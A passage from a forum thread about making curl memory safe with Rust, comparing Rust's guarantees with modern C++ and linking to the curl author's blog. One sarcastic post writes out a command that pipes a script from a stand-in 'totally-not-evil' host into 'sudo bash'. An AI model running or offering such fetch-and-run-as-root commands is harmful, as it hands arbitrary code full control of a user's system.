Memory safe ‘curl’ for a more secure internet
21–30 of 210 posts
Re: Memory safe ‘curl’ for a more secure internet
#22Re: Memory safe ‘curl’ for a more secure internet
#23I've heard a lot about Rust's "safety" things. But what are they? How does it compare with modern C++?
- The borrow checker enforces mutable XOR shared references.
- The compiler does not allow use of local variables before they're assigned to, requires structs to be completely initialized, etc..
- All the builtin datastructures perform bounds checks
- The compiler disallows deferencing raw pointers except in unsafe blocks.
There's a lot of good things to be said about modern C++, particular smart pointers. However, it's significantly less resilient to common mistakes than Rust is: https://alexgaynor.net/2019/apr/21/modern-c++-wont-save-us/
Re: Memory safe ‘curl’ for a more secure internet
#24Great! As long as "curl https://totally-not-evil.example.com/install.sh | sudo bash" still works, I feel safer already.
Piping it to "sudo bash" is perfectly acceptable in the eyes of the system. It's doing the instructions the user has asked it to, they've explicitly been configured as sudoers, and usually have been prompted to enter their password.
Re: Memory safe ‘curl’ for a more secure internet
#25I've heard a lot about Rust's "safety" things. But what are they? How does it compare with modern C++?
> But what are they?
The language's semantics are such that by default, you get memory safe code. This is checked at compile time. While many languages are memory safe, they often require a significant amount of runtime checking, with things like a garbage collector. Rust moves the vast majority of these kinds of checks to compile time, and so has the performance profile of C or C++, while still retaining memory safety.
> How does it compare with modern C++?
One way to look at Rust is "modern C++, but enforced, and by default." But that ignores some significant differences. For example, Rust's Box and std::uniq_ptr are similar, but the latter can still be null, whereas Rust's can't. C++ cannot be checked statically for memory safety, even if modern C++ helps improve things, it doesn't go as far as Rust does.
Re: Memory safe ‘curl’ for a more secure internet
#26Here's what Daniel Stenberg had to say about the move [1] [1] https://daniel.haxx.se/blog/2020/10/09/rust-in-curl-with-hyp...
Looks like they've figured out a good way to allow bringing in safety while avoiding the risks any change will bring
Re: Memory safe ‘curl’ for a more secure internet
#27I've been holding my breath ever since I saw https://github.com/hyperium/hyper/issues/2265#issuecomment-6... Glad to see it seems to be going well!
I see that Stenberg (bagder) is receiving funding for the work from the ISRG, but I wonder if McArthur (seanmonstar) is, too? It seems like a sizable amount of work on their part, too.
Re: Memory safe ‘curl’ for a more secure internet
#28Re: Memory safe ‘curl’ for a more secure internet
#29Here's what Daniel Stenberg had to say about the move [1] [1] https://daniel.haxx.se/blog/2020/10/09/rust-in-curl-with-hyp...
Re: Memory safe ‘curl’ for a more secure internet
#30Here's what Daniel Stenberg had to say about the move [1] [1] https://daniel.haxx.se/blog/2020/10/09/rust-in-curl-with-hyp...
I suppose he's really keen on a Fish in a Barrel bounty... https://github.com/fishinabarrel/bounty